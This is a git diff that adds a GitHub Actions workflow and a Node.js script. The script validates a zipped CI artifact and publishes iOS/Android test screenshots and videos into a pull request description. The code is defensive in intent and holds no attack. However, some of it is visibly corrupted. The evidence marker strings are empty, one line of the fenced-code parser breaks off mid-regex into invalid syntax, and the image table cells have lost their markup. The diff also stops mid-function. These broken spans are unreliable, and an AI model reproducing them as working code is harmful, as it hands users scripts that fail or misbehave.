diff --git a/.changeset/expo-verify-attach.md b/.changeset/expo-verify-attach.md new file mode 100644 index 00000000000..a845151cc84 --- /dev/null +++ b/.changeset/expo-verify-attach.md @@ -0,0 +1,2 @@ +--- +--- diff --git a/.changeset/expo-verify-session-start-on-base.md b/.changeset/expo-verify-session-start-on-base.md new file mode 100644 index 00000000000..a845151cc84 --- /dev/null +++ b/.changeset/expo-verify-session-start-on-base.md @@ -0,0 +1,2 @@ +--- +--- diff --git a/.github/actionlint.yaml b/.github/actionlint.yaml index 17668c977ca..53e0b53fbd3 100644 --- a/.github/actionlint.yaml +++ b/.github/actionlint.yaml @@ -17,3 +17,8 @@ paths: ignore: - 'unexpected key "background" for step to run shell command' - 'step must run script with "run" section or run action with "uses" section' + # actionlint 1.7.x also predates `concurrency.queue`, which keeps every waiting run of a group. + # Remove once actionlint supports that key. + .github/workflows/verify-attach.yml: + ignore: + - 'unexpected key "queue" for "concurrency" section' diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 6a47ac61ac6..b0357e5675d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -372,6 +372,10 @@ jobs: env: NODE_VERSION: ${{ matrix.node-version }} + - name: Run verify-attach script tests + if: matrix.node-version == '24.15.0' + run: pnpm vitest run --root scripts verify-attach + - name: Upload Turbo Summary uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 if: ${{ env.TURBO_SUMMARIZE == 'true' }} diff --git a/.github/workflows/verify-attach.yml b/.github/workflows/verify-attach.yml new file mode 100644 index 00000000000..d7d85b40d6c --- /dev/null +++ b/.github/workflows/verify-attach.yml @@ -0,0 +1,83 @@ +name: verify-attach + +on: + workflow_run: + workflows: + - verify-remote + types: + - completed + +permissions: + actions: read + contents: read + +jobs: + publish: + name: Publish handed-off evidence + if: >- + github.event.workflow_run.event == 'workflow_dispatch' && + github.event.workflow_run.path == '.github/workflows/verify-remote.yml' && + github.event.workflow_run.head_repository.full_name == github.repository + runs-on: ${{ vars.RUNNER_NORMAL || 'ubuntu-latest' }} + timeout-minutes: 15 + environment: verify-evidence + concurrency: + group: verify-attach-${{ github.event.workflow_run.head_repository.full_name }}-${{ github.event.workflow_run.head_branch }} + cancel-in-progress: false + queue: max + env: + HAS_EVIDENCE_TOKEN: ${{ secrets.VERIFY_EVIDENCE_TOKEN != '' }} + REPO: ${{ github.repository }} + RUN_ID: ${{ github.event.workflow_run.id }} + RUN_ACTOR: ${{ github.event.workflow_run.actor.login }} + steps: + - name: Say that no token is set + if: env.HAS_EVIDENCE_TOKEN != 'true' + run: echo "::notice title=verify-attach::The environment verify-evidence has no secret VERIFY_EVIDENCE_TOKEN, so no evidence is published." + + - name: Checkout the trusted script + if: env.HAS_EVIDENCE_TOKEN == 'true' + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ github.sha }} + sparse-checkout: scripts/verify-attach.mjs + sparse-checkout-cone-mode: false + persist-credentials: false + + - name: Set up Node + if: env.HAS_EVIDENCE_TOKEN == 'true' + uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0 + with: + node-version: 24 + + - name: Fetch and validate the evidence + id: evidence + if: env.HAS_EVIDENCE_TOKEN == 'true' + env: + GITHUB_TOKEN: ${{ github.token }} + WORK: ${{ runner.temp }}/verify-attach + RUN_EVENT: ${{ github.event.workflow_run.event }} + RUN_PATH: ${{ github.event.workflow_run.path }} + RUN_HEAD_REPO: ${{ github.event.workflow_run.head_repository.full_name }} + run: node scripts/verify-attach.mjs fetch + + - name: Install a gh whose pr edit has --attach + if: steps.evidence.outputs.found == 'true' + env: + GH_VERSION: '2.102.0' + GH_SHA256: bb766f710eef8ede859c18578c72c327597cd4c8a85b06001b1f3843c6019386 + run: | + set -euo pipefail + curl -fsSL --max-time 300 --retry 3 --retry-delay 2 -o "$RUNNER_TEMP/gh.tar.gz" "https://github.com/cli/cli/releases/download/v${GH_VERSION}/gh_${GH_VERSION}_linux_amd64.tar.gz" + echo "$GH_SHA256 $RUNNER_TEMP/gh.tar.gz" | sha256sum -c - + tar -xzf "$RUNNER_TEMP/gh.tar.gz" -C "$RUNNER_TEMP" + echo "$RUNNER_TEMP/gh_${GH_VERSION}_linux_amd64/bin" >> "$GITHUB_PATH" + + - name: Put the evidence in the pull request description + if: steps.evidence.outputs.found == 'true' + env: + GH_TOKEN: ${{ secrets.VERIFY_EVIDENCE_TOKEN }} + WORK: ${{ runner.temp }}/verify-attach + HEAD_BRANCH: ${{ github.event.workflow_run.head_branch }} + HEAD_SHA: ${{ github.event.workflow_run.head_sha }} + run: node scripts/verify-attach.mjs publish diff --git a/scripts/verify-attach.mjs b/scripts/verify-attach.mjs new file mode 100644 index 00000000000..ba389dd0a39 --- /dev/null +++ b/scripts/verify-attach.mjs @@ -0,0 +1,1001 @@ +import { spawnSync } from 'node:child_process'; +import { createHash, randomBytes } from 'node:crypto'; +import fs from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import zlib from 'node:zlib'; + +const MIB = 1024 * 1024; + +const LIMITS = { + zipBytes: 160 * MIB, + manifestBytes: 16 * 1024, + files: 50, + videos: 1, + imageBytes: 10 * MIB, + videoBytes: 100 * MIB, + totalBytes: 150 * MIB, + pr: 9_999_999, + tests: 10_000, +}; + +const ARTIFACT = 'verify-evidence'; +const MANIFEST_FILE = 'manifest.json'; +const SESSION_WORKFLOW = '.github/workflows/verify-remote.yml'; +const MANIFEST_VERSION = 2; + +const SHAPE = { + run: /^r\d{8}-\d{6}-[0-9a-f]{4}$/, + device: /^[A-Za-z0-9][A-Za-z0-9 ._()-]{0,63}$/, + commit: /^[0-9a-f]{40}$/, + sha256: /^[0-9a-f]{64}$/, + fileName: /^[A-Za-z0-9][A-Za-z0-9._-]{0,95}\.(png|jpg|mp4)$/, + repo: /^[A-Za-z0-9][A-Za-z0-9._-]{0,99}\/[A-Za-z0-9._-]{1,100}$/, + runId: /^[1-9]\d{0,19}$/, + actor: /^[A-Za-z0-9][A-Za-z0-9_-]{0,99}(\[bot\])?$/, +}; + +const MANIFEST_KEYS = ['v', 'pr', 'run', 'platform', 'device', 'commit', 'passed', 'flaky', 'total', 'files', 'before']; +const BEFORE_KEYS = ['run', 'commit', 'passed', 'flaky', 'total', 'files']; +const FILE_KEYS = ['name', 'bytes', 'sha256']; + +class Refused extends Error {} +class Failed extends Error {} + +function refuse(message) { + throw new Refused(message); +} + +const isVideo = name => name.endsWith('.mp4'); + +const everyFile = manifest => [...manifest.files, ...(manifest.before?.files ?? [])]; + +function sessionRunMismatch(run, repo) { + if (run.event !== 'workflow_dispatch') { + return 'it was not started by a dispatch'; + } + if (run.path !== SESSION_WORKFLOW) { + return `it is not a run of ${SESSION_WORKFLOW}`; + } + if (run.headRepo !== repo) { + return 'it ran for another repository'; + } + return null; +} + +const EOCD_SIGNATURE = 0x06054b50; +const CENTRAL_SIGNATURE = 0x02014b50; +const LOCAL_SIGNATURE = 0x04034b50; +const EOCD_BYTES = 22; +const CENTRAL_BYTES = 46; +const LOCAL_BYTES = 30; +const UINT32_MAX = 0xffffffff; +const UNIX = 3; +const S_IFMT = 0o170000; +const S_IFREG = 0o100000; + +function endOfCentralDirectory(zip) { + for (let at = zip.length - EOCD_BYTES; at >= Math.max(0, zip.length - EOCD_BYTES - 0xffff); at -= 1) { + if (zip.readUInt32LE(at) === EOCD_SIGNATURE && at + EOCD_BYTES + zip.readUInt16LE(at + 20) === zip.length) { + return at; + } + } + return refuse('the artifact is not a zip archive'); +} + +function listZip(zip) { + if (zip.length > LIMITS.zipBytes) { + refuse(`the archive is over ${LIMITS.zipBytes} bytes`); + } + if (zip.length < EOCD_BYTES) { + refuse('the artifact is not a zip archive'); + } + const end = endOfCentralDirectory(zip); + const count = zip.readUInt16LE(end + 10); + const directoryBytes = zip.readUInt32LE(end + 12); + const directoryAt = zip.readUInt32LE(end + 16); + if (zip.readUInt16LE(end + 4) !== 0 || zip.readUInt16LE(end + 6) !== 0 || zip.readUInt16LE(end + 8) !== count) { + refuse('the archive spans disks'); + } + if (count === 0xffff || directoryBytes === UINT32_MAX || directoryAt === UINT32_MAX) { + refuse('the archive is zip64'); + } + if (count > LIMITS.files + 1) { + refuse(`the archive has more than ${LIMITS.files + 1} entries`); + } + if (directoryAt + directoryBytes !== end) { + refuse('the archive has bytes between its directory and its end record'); + } + + const entries = []; + let at = directoryAt; + for (let i = 0; i < count; i += 1) { + if (at + CENTRAL_BYTES > end || zip.readUInt32LE(at) !== CENTRAL_SIGNATURE) { + refuse('the archive directory is malformed'); + } + const madeBy = zip.readUInt16LE(at + 4); + const flags = zip.readUInt16LE(at + 8); + const method = zip.readUInt16LE(at + 10); + const crc = zip.readUInt32LE(at + 16); + const compressedBytes = zip.readUInt32LE(at + 20); + const bytes = zip.readUInt32LE(at + 24); + const nameBytes = zip.readUInt16LE(at + 28); + const extraBytes = zip.readUInt16LE(at + 30); + const commentBytes = zip.readUInt16LE(at + 32); + const attributes = zip.readUInt32LE(at + 38); + const localAt = zip.readUInt32LE(at + 42); + const next = at + CENTRAL_BYTES + nameBytes + extraBytes + commentBytes; + if (next > end) { + refuse('the archive directory is malformed'); + } + const name = zip.toString('latin1', at + CENTRAL_BYTES, at + CENTRAL_BYTES + nameBytes); + if (name !== MANIFEST_FILE && !SHAPE.fileName.test(name)) { + refuse(`entry ${i + 1} has a name that is not allowed (a path, a directory, or another kind of file)`); + } + if ((flags & 0x0041) !== 0) { + refuse(`entry ${i + 1} is encrypted`); + } + if (method !== 0 && method !== 8) { + refuse(`entry ${i + 1} uses a compression method other than stored or deflate`); + } + if (compressedBytes === UINT32_MAX || bytes === UINT32_MAX || localAt === UINT32_MAX) { + refuse(`entry ${i + 1} is zip64`); + } + const mode = attributes >>> 16; + if ((attributes & 0x10) !== 0 || (madeBy >>> 8 === UNIX && (mode & S_IFMT) !== 0 && (mode & S_IFMT) !== S_IFREG)) { + refuse(`entry ${i + 1} is not a regular file (a symbolic link, a directory, or a device)`); + } + if ( + bytes > (name === MANIFEST_FILE ? LIMITS.manifestBytes : isVideo(name) ? LIMITS.videoBytes : LIMITS.imageBytes) + ) { + refuse(`entry ${i + 1} is over the size cap for its kind`); + } + if (method === 0 && compressedBytes !== bytes) { + refuse(`entry ${i + 1} is stored with two different sizes`); + } + if (entries.some(other => other.name.toLowerCase() === name.toLowerCase())) { + refuse(`entry ${i + 1} repeats a name`); + } + entries.push({ name, method, crc, compressedBytes, bytes, localAt, nameBytes }); + at = next; + } + if (at !== end) { + refuse('the archive directory is malformed'); + } + if (entries.reduce((sum, entry) => sum + entry.bytes, 0) > LIMITS.totalBytes + LIMITS.manifestBytes) { + refuse(`the archive unpacks to more than ${LIMITS.totalBytes} bytes`); + } + return { entries, directoryAt }; +} + +function readEntry(zip, entry, directoryAt) { + const at = entry.localAt; + if (at + LOCAL_BYTES > directoryAt || zip.readUInt32LE(at) !== LOCAL_SIGNATURE) { + refuse('an entry does not start where the directory says'); + } + const nameBytes = zip.readUInt16LE(at + 26); + const dataAt = at + LOCAL_BYTES + nameBytes + zip.readUInt16LE(at + 28); + if ( + nameBytes !== entry.nameBytes || + zip.toString('latin1', at + LOCAL_BYTES, at + LOCAL_BYTES + nameBytes) !== entry.name + ) { + refuse('an entry has one name in the directory and another beside its bytes'); + } + if (dataAt + entry.compressedBytes > directoryAt) { + refuse('an entry runs past the directory'); + } + const packed = zip.subarray(dataAt, dataAt + entry.compressedBytes); + let data; + try { + data = + entry.method === 0 + ? Buffer.from(packed) + : zlib.inflateRawSync(packed, { maxOutputLength: Math.max(entry.bytes, 1) }); + } catch { + return refuse('an entry is corrupt, or inflates past the size the directory declares'); + } + if (data.length !== entry.bytes) { + refuse('an entry does not inflate to the size the directory declares'); + } + if (zlib.crc32(data) !== entry.crc) { + refuse('an entry fails its checksum'); + } + return data; +} + +function anObject(value, what) { + if (typeof value !== 'object' || value === null || Array.isArray(value)) { + refuse(`${what} is not an object`); + } + return value; +} + +function record(value, keys, what) { + const own = Object.keys(anObject(value, what)); + if (own.length !== keys.length || own.some(key => !keys.includes(key))) { + refuse(`${what} must have exactly the keys ${keys.join(', ')}`); + } + return value; +} + +function whole(value, min, max, what) { + if (typeof value !== 'number' || !Number.isInteger(value) || value < min || value > max) { + refuse(`${what} must be a whole number from ${min} to ${max}`); + } + return value; +} + +function shaped(value, pattern, what) { + if (typeof value !== 'string' || !pattern.test(value)) { + refuse(`${what} is missing or malformed`); + } + return value; +} + +function parseFiles(list, what) { + if (!Array.isArray(list) || list.length < 1 || list.length > LIMITS.files) { + refuse(`${what} must be a list of 1 to ${LIMITS.files}`); + } + const files = list.map((entry, i) => { + const file = record(entry, FILE_KEYS, `file ${i + 1}`); + const name = shaped(file.name, SHAPE.fileName, `the name of file ${i + 1}`); + return { + name, + bytes: whole(file.bytes, 1, isVideo(name) ? LIMITS.videoBytes : LIMITS.imageBytes, `the size of file ${i + 1}`), + sha256: shaped(file.sha256, SHAPE.sha256, `the sha256 of file ${i + 1}`), + }; + }); + if (files.filter(file => isVideo(file.name)).length > LIMITS.videos) { + refuse(`at most ${LIMITS.videos} video`); + } + return files; +} + +function parseBefore(value, run, files) { + const raw = record(value, BEFORE_KEYS, 'before'); + const before = { + run: shaped(raw.run, SHAPE.run, 'the run of before'), + commit: shaped(raw.commit, SHAPE.commit, 'the commit of before'), + passed: whole(raw.passed, 0, LIMITS.tests, 'passed of before'), + flaky: whole(raw.flaky, 0, LIMITS.tests, 'flaky of before'), + total: whole(raw.total, 1, LIMITS.tests, 'total of before'), + files: parseFiles(raw.files, 'the files of before'), + }; + if (before.run === run) { + refuse('before is the run itself'); + } + if (before.passed + before.flaky > before.total) { + refuse('passed and flaky of before must count at most total'); + } + if ( + before.files.length !== files.length || + before.files.some((file, i) => isVideo(file.name) !== isVideo(files[i].name)) + ) { + refuse('before must have one file for each file, of the same kind'); + } + return before; +} + +function parseManifest(text) { + if (Buffer.byteLength(text) > LIMITS.manifestBytes) { + refuse(`the manifest is over ${LIMITS.manifestBytes} bytes`); + } + let parsed; + try { + parsed = JSON.parse(text); + } catch { + return refuse('the manifest is not JSON'); + } + const { v } = anObject(parsed, 'the manifest'); + if (v !== MANIFEST_VERSION) { + const found = Number.isInteger(v) && v >= 0 && v <= 999 ? `version ${v}` : 'of no version this script knows'; + refuse(`the manifest is ${found}, and this script publishes only version ${MANIFEST_VERSION}`); + } + const raw = record(parsed, MANIFEST_KEYS, 'the manifest'); + if (raw.platform !== 'ios' && raw.platform !== 'android') { + refuse('platform must be ios or android'); + } + const files = parseFiles(raw.files, 'files'); + const before = raw.before === null ? null : parseBefore(raw.before, raw.run, files); + const all = everyFile({ files, before }); + if (all.length > LIMITS.files) { + refuse(`at most ${LIMITS.files} files in all`); + } + if (new Set(all.map(file => file.name.toLowerCase())).size !== all.length) { + refuse('two files have the same name'); + } + if (all.reduce((sum, file) => sum + file.bytes, 0) > LIMITS.totalBytes) { + refuse(`the files are over ${LIMITS.totalBytes} bytes in all`); + } + const manifest = { + v: MANIFEST_VERSION, + pr: whole(raw.pr, 1, LIMITS.pr, 'pr'), + run: shaped(raw.run, SHAPE.run, 'run'), + platform: raw.platform, + device: shaped(raw.device, SHAPE.device, 'device'), + commit: shaped(raw.commit, SHAPE.commit, 'commit'), + passed: whole(raw.passed, 0, LIMITS.tests, 'passed'), + flaky: whole(raw.flaky, 0, LIMITS.tests, 'flaky'), + total: whole(raw.total, 1, LIMITS.tests, 'total'), + files, + before, + }; + if (manifest.passed + manifest.flaky < 1 || manifest.passed + manifest.flaky > manifest.total) { + refuse('passed and flaky must count at least one test and at most total'); + } + return manifest; +} + +const PNG = Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]); +const JPG = Buffer.from([0xff, 0xd8, 0xff]); + +function hasItsOwnLeadingBytes(name, data) { + if (name.endsWith('.png')) { + return data.subarray(0, PNG.length).equals(PNG); + } + if (name.endsWith('.jpg')) { + return data.subarray(0, JPG.length).equals(JPG); + } + return data.length >= 12 && data.toString('latin1', 4, 8) === 'ftyp'; +} + +function validateBundle(zip) { + const { entries, directoryAt } = listZip(zip); + const manifestEntry = entries.find(entry => entry.name === MANIFEST_FILE); + if (manifestEntry === undefined) { + refuse(`the archive has no ${MANIFEST_FILE}`); + } + const manifest = parseManifest(readEntry(zip, manifestEntry, directoryAt).toString('utf8')); + if (entries.length !== everyFile(manifest).length + 1) { + refuse('the archive and its manifest name different files'); + } + const files = everyFile(manifest).map((file, i) => { + const entry = entries.find(candidate => candidate.name === file.name); + if (entry === undefined) { + return refuse('the archive and its manifest name different files'); + } + if (entry.bytes !== file.bytes) { + refuse(`file ${i + 1} is not the size its manifest declares`); + } + const data = readEntry(zip, entry, directoryAt); + if (createHash('sha256').update(data).digest('hex') !== file.sha256) { + refuse(`file ${i + 1} does not have the sha256 its manifest declares`); + } + if (!hasItsOwnLeadingBytes(file.name, data)) { + refuse(`file ${i + 1} does not start with the bytes of its type`); + } + return { name: file.name, data }; + }); + return { manifest, files }; +} + +function pullRequestMismatch(pull, session) { + if (pull?.state !== 'open') { + return 'it is not open'; + } + if (pull.head?.repo?.full_name !== session.repo || pull.base?.repo?.full_name !== session.repo) { + return 'its branch is in another repository'; + } + if (pull.head.ref !== session.headBranch) { + return 'its branch is not the branch the session ran on'; + } + return null; +} + +function commitNotHeld(commits, session, baseHoldsStart) { + const startHeld = commits.includes(session.startedOn) || baseHoldsStart(); + if (startHeld === 'unknown') { + return { + commit: 'the commit the session started on', + why: 'is not a commit GitHub finds in this repository', + unknown: true, + }; + } + if (!startHeld) { + return { + commit: 'the commit the session started on', + why: 'is not one of its commits or a commit of its base branch', + }; + } + if (!commits.includes(session.runCommit)) { + return { commit: 'the commit the verify run was made at', why: 'is not one of its commits' }; + } + return null; +} + +const evidenceMarkers = platform => ({ + start: ``, + end: ``, +}); + +const BLOCK_LINE_START = '**Verified on '; +const A_BLOCK_STARTS = /^(\*\*Verified on |verify run `)/; +const WHERE = { ios: 'an iOS simulator', android: 'an Android emulator' }; +const NEWER_COMMITS = 'The pull request has newer commits.'; +const UPLOADED = /https:\/\/github\.com\/user-attachments\/assets\/[0-9a-f-]{36}/g; +const IMAGE_WIDTH = 280; +const ACROSS = 2; +const CENTERED = ':---:'; + +const sessionRunUrl = (repo, runId) => `https://github.com/${repo}/actions/runs/${runId}`; +const commitUrl = (repo, commit) => `https://github.com/${repo}/commit/${commit}`; + +const stem = name => name.replace(/\.[a-z0-9]+$/, ''); +const counted = run => + `${run.passed} of ${run.total} passed${run.flaky === 0 ? '' : `, ${run.flaky} flaky (passed only on a retry)`}`; +const table = (header, rows) => + [header, header.map(() => CENTERED), ...rows].map(cells => `| ${cells.join(' | ')} |`).join('\n'); +const inTables = block => block.includes(CENTERED); + +function mediaTables(files, hasBefore, uploaded) { + const shown = files.map((name, at) => { + const label = stem(name); + const cell = (url, alt) => (isVideo(name) ? url : `${alt}`); + return { + video: isVideo(name), + label, + after: cell(uploaded[at], hasBefore ? `After: ${label}` : label), + before: hasBefore ? cell(uploaded[files.length + at], `Before: ${label}`) : '', + }; + }); + return [false, true].flatMap(video => { + const some = shown.filter(item => item.video === video); + if (some.length === 0) { + return []; + } + if (hasBefore) { + return [ + table( + ['Before', 'After'], + some.map(item => [item.before, item.after]), + ), + ]; + } + const rows = Array.from({ length: Math.ceil(some.length / ACROSS) }, (_, row) => + some.slice(row * ACROSS, (row + 1) * ACROSS), + ); + return rows.map(row => + table( + row.map(item => `\`${item.label}\``), + [row.map(item => item.after)], + ), + ); + }); +} + +// `gh pr edit --attach` rewrites only a markdown reference to a file, so the files go up as a list first, and the tables are written from the addresses GitHub gave them. +function evidenceBlock(manifest, session, onDisk = file => file.name, uploaded = null) { + const { start, end } = evidenceMarkers(manifest.platform); + const { before } = manifest; + const was = + before === null + ? '' + : ` The session reports the before as run \`${before.run}\` at [\`${before.commit.slice(0, 12)}\`](${commitUrl(session.repo, before.commit)}), ${counted(before)}.`; + const since = session.pullHead === manifest.commit ? '' : ` ${NEWER_COMMITS}`; + const line = `${BLOCK_LINE_START}${WHERE[manifest.platform]}**, as reported by [the session](${sessionRunUrl(session.repo, session.runId)}) that \`${session.actor}\` started. Run \`${manifest.run}\` on \`${manifest.device}\` at \`${manifest.commit.slice(0, 12)}\`, ${counted(manifest)}.${was}${since}`; + const media = + uploaded === null + ? everyFile(manifest).map(file => `![${isVideo(file.name) ? file.name : stem(file.name)}](./${onDisk(file)})`) + : mediaTables( + manifest.files.map(file => file.name), + before !== null, + uploaded, + ); + return [start, '', line, ...media.flatMap(part => ['', part]), '', end].join('\n'); +} + +function withNewerCommitsNote(old, { start, end }) { + const lines = old.replaceAll('\r\n', '\n').split('\n'); + const at = lines.findIndex(line => A_BLOCK_STARTS.test(line.trimStart())); + lines[at] = `${lines[at].trimEnd()} ${NEWER_COMMITS}`; + return `${start}${lines.join('\n')}${end}`; +} + +function fencedCode(text) { + const fences = []; + let open = null; + let inHtmlComment = false; + for (let at = 0; at <= text.length; ) { + const newline = text.indexOf('\n', at); + const lineEnd = newline === -1 ? text.length : newline; + const line = text.slice(at, lineEnd).replace(/\r$/, ''); + const fence = /^ {0,3}(`{3,}|~{3,})(.*)$/.exec(line); + if (open === null && (inHtmlComment || /^ {0,3}'); + } else if (fence !== null) { + const [, ticks, rest] = fence; + if (open === null && !(ticks[0] === '`' && rest.includes('`'))) { + open = { char: ticks[0], length: ticks.length, at }; + } else if (open !== null && ticks[0] === open.char && ticks.length >= open.length && rest.trim() === '') { + fences.push([open.at, lineEnd]); + open = null; + } + } + if (newline === -1) { + break; + } + at = newline + 1; + } + if (open !== null) { + fences.push([open.at, text.length]); + } + return { fences, neverCloses: open !== null }; +} + +function linesThatAre(text, marker) { + const { fences } = fencedCode(text); + const found = []; + for (let at = text.indexOf(marker); at !== -1; at = text.indexOf(marker, at + marker.length)) { + const end = at + marker.length; + const startsItsLine = at === 0 || text[at - 1] === '\n'; + const endsItsLine = end === text.length || text[end] === '\n' || text.startsWith('\r\n', end); + if (startsItsLine && endsItsLine && !fences.some(([from, to]) => at > from && at < to)) { + found.push(at); + } + } + return found; +} + +function withEvidenceBlock(body, platform, lines) { + const { start, end } = evidenceMarkers(platform); + const starts = linesThatAre(body, start); + const ends = linesThatAre(body, end); + const newline = body.includes('\r\n') ? '\r\n' : '\n'; + const block = lines.replaceAll('\n', newline); + if (starts.length === 0 && ends.length === 0) { + if (fencedCode(body).neverCloses) { + return { ok: false, why: 'ends inside a code fence that is never closed' }; + } + const gap = body === '' ? '' : body.endsWith('\n') ? newline : `${newline}${newline}`; + return { ok: true, body: `${body}${gap}${block}`, was: 'added', old: null }; + } + if (starts.length !== 1 || ends.length !== 1) { + return { ok: false, why: `has the start marker ${starts.length} times and the end marker ${ends.length} times` }; + } + if (ends[0] < starts[0]) { + return { ok: false, why: 'has the end marker before the start marker' }; + } + const old = body.slice(starts[0] + start.length, ends[0]); + if (old.trim() !== '' && !A_BLOCK_STARTS.test(old.trimStart())) { + return { ok: false, why: 'has text between the markers that is not an evidence block' }; + } + return { + ok: true, + body: `${body.slice(0, starts[0])}${block}${body.slice(ends[0] + end.length)}`, + was: 'replaced', + old, + }; +} + +function settings(env) { + const repo = shaped(env.REPO, SHAPE.repo, 'REPO'); + const runId = shaped(env.RUN_ID, SHAPE.runId, 'RUN_ID'); + const work = env.WORK; + if (typeof work !== 'string' || !path.isAbsolute(work)) { + refuse('WORK must be an absolute path'); + } + return { repo, runId, work, filesDir: path.join(work, 'files'), manifestFile: path.join(work, MANIFEST_FILE) }; +} + +const apiHeaders = token => ({ + Accept: 'application/vnd.github+json', + 'X-GitHub-Api-Version': '2022-11-28', + 'User-Agent': 'verify-attach', + Authorization: `Bearer ${token}`, +}); + +async function downloadArtifact({ fetch, api, token, repo, runId }) { + const headers = apiHeaders(token); + const listed = await fetch(`${api}/repos/${repo}/actions/runs/${runId}/artifacts?name=${ARTIFACT}&per_page=100`, { + headers, + }); + if (listed.status !== 200) { + throw new Failed(`GitHub answered ${listed.status} to the list of artifacts`); + } + const artifacts = ((await listed.json()).artifacts ?? []).filter( + artifact => artifact.name === ARTIFACT && artifact.expired !== true && Number.isSafeInteger(artifact.id), + ); + if (artifacts.length === 0) { + return null; + } + const artifact = artifacts.reduce((newest, candidate) => (candidate.id > newest.id ? candidate : newest)); + if (!(artifact.size_in_bytes <= LIMITS.zipBytes)) { + refuse(`the archive is over ${LIMITS.zipBytes} bytes`); + } + const download = await fetch(`${api}/repos/${repo}/actions/artifacts/${artifact.id}/zip`, { headers }); + if (download.status !== 200 || download.body === null) { + throw new Failed(`GitHub answered ${download.status} to the download of the artifact`); + } + const chunks = []; + let bytes = 0; + for await (const chunk of download.body) { + bytes += chunk.length; + if (bytes > LIMITS.zipBytes) { + refuse(`the archive is over ${LIMITS.zipBytes} bytes`); + } + chunks.push(chunk); + } + return Buffer.concat(chunks); +} + +async function assertBeforeCommitInHistory({ fetch, api, token, repo }, { before, commit }) { + const compared = await fetch(`${api}/repos/${repo}/compare/${before.commit}...${commit}?per_page=1`, { + headers: apiHeaders(token), + }); + if (compared.status === 404) { + refuse('the commit of before, or the commit of the run, is not a commit of this repository'); + } + if (compared.status !== 200) { + throw new Failed( + `GitHub answered ${compared.status} to the comparison of the commit of before with the commit of the run`, + ); + } + const status = (await compared.json())?.status; + if (status !== 'ahead' && status !== 'identical') { + refuse('the commit of before is not the commit of the run or a commit before it in its history'); + } +} + +async function fetchStep({ env, say, fetch, zipFile }) { + const { repo, runId, work, filesDir, manifestFile } = settings(env); + const mismatch = sessionRunMismatch({ event: env.RUN_EVENT, path: env.RUN_PATH, headRepo: env.RUN_HEAD_REPO }, repo); + if (mismatch !== null) { + say( + 'notice', + `Run ${runId} is not a borrowed-device session of this repository (${mismatch}), so nothing is published.`, + ); + return false; + } + const github = { + fetch, + api: (env.GITHUB_API_URL ?? 'https://api.github.com').replace(/\/$/, ''), + token: env.GITHUB_TOKEN ?? '', + repo, + }; + const zip = zipFile !== undefined ? fs.readFileSync(zipFile) : await downloadArtifact({ ...github, runId }); + if (zip === null) { + say('notice', `Run ${runId} handed off no evidence.`); + return false; + } + const { manifest, files } = validateBundle(zip); + if (manifest.before !== null) { + await assertBeforeCommitInHistory(github, manifest); + } + if (fs.existsSync(work) && fs.readdirSync(work).length > 0) { + throw new Failed('WORK must be a new or empty directory'); + } + fs.mkdirSync(filesDir, { recursive: true }); + for (const file of files) { + fs.writeFileSync(path.join(filesDir, file.name), file.data, { flag: 'wx', mode: 0o600 }); + } + fs.writeFileSync(manifestFile, JSON.stringify(manifest), { flag: 'wx', mode: 0o600 }); + say( + 'notice', + `Run ${runId} handed off the evidence of verify run ${manifest.run} for pull request #${manifest.pr}: ${files.length} files.`, + ); + return true; +} + +function realGh(args, { cwd, stdoutFile }) { + const out = stdoutFile === undefined ? 'pipe' : fs.openSync(stdoutFile, 'w', 0o600); + try { + const result = spawnSync('gh', args, { + cwd, + stdio: ['ignore', out, 'pipe'], + env: { ...process.env, GH_PROMPT_DISABLED: '1', NO_COLOR: '1' }, + encoding: 'utf8', + }); + return { + status: result.error === undefined ? result.status : 127, + stderr: result.error === undefined ? result.stderr : String(result.error.message), + }; + } finally { + if (typeof out === 'number') { + fs.closeSync(out); + } + } +} + +const printable = text => + text + .replace(/[^\x20-\x7e\n]/g, '?') + .split('\n') + .filter(line => line.trim() !== '') + .slice(0, 20) + .map(line => `gh: ${line.slice(0, 300)}`) + .join('\n'); + +const bodyOf = pull => (typeof pull?.body === 'string' ? pull.body : ''); + +const quoted = arg => (/^[A-Za-z0-9_./:=@-]+$/.test(arg) ? arg : `'${arg.replaceAll("'", `'\\''`)}'`); + +const unguessable = () => randomBytes(8).toString('hex'); + +const COMMITS_PER_PAGE = 100; +const COMMIT_PAGES = 3; +const MOST_COMMITS_GITHUB_LISTS = 250; + +function publishStep({ + env, + say, + gh = realGh, + dryRun = false, + pullFile, + commitsFile, + compareFile, + nonce = unguessable, +}) { + const { repo, runId, work, filesDir, manifestFile } = settings(env); + const startedOn = shaped(env.HEAD_SHA, SHAPE.commit, 'HEAD_SHA'); + const actor = shaped(env.RUN_ACTOR, SHAPE.actor, 'RUN_ACTOR'); + const headBranch = env.HEAD_BRANCH; + if (typeof headBranch !== 'string' || headBranch === '') { + refuse('HEAD_BRANCH is missing'); + } + const manifest = parseManifest(fs.readFileSync(manifestFile, 'utf8')); + const files = everyFile(manifest); + const prefix = `evidence-${nonce()}`; + const onDisk = file => `${prefix}-${files.indexOf(file) + 1}${path.extname(file.name)}`; + for (const file of files) { + const stat = fs.lstatSync(path.join(filesDir, file.name)); + if (!stat.isFile() || stat.size !== file.bytes) { + refuse('a file is not the one the first step wrote'); + } + fs.renameSync(path.join(filesDir, file.name), path.join(filesDir, onDisk(file))); + } + + const pullJson = path.join(work, 'pull.json'); + const readPull = () => { + if (pullFile === undefined) { + const read = gh(['api', `repos/${repo}/pulls/${manifest.pr}`], { cwd: work, stdoutFile: pullJson }); + if (read.status !== 0) { + throw new Failed(`gh could not read pull request #${manifest.pr}\n${printable(read.stderr)}`); + } + } + try { + return JSON.parse(fs.readFileSync(pullFile ?? pullJson, 'utf8')); + } catch { + throw new Failed(`what GitHub returned for pull request #${manifest.pr} is not JSON`); + } + }; + const readCommits = () => { + const shas = []; + for (let page = 1; page <= COMMIT_PAGES; page += 1) { + const pageJson = commitsFile ?? path.join(work, `commits-${page}.json`); + if (commitsFile === undefined) { + const read = gh( + ['api', 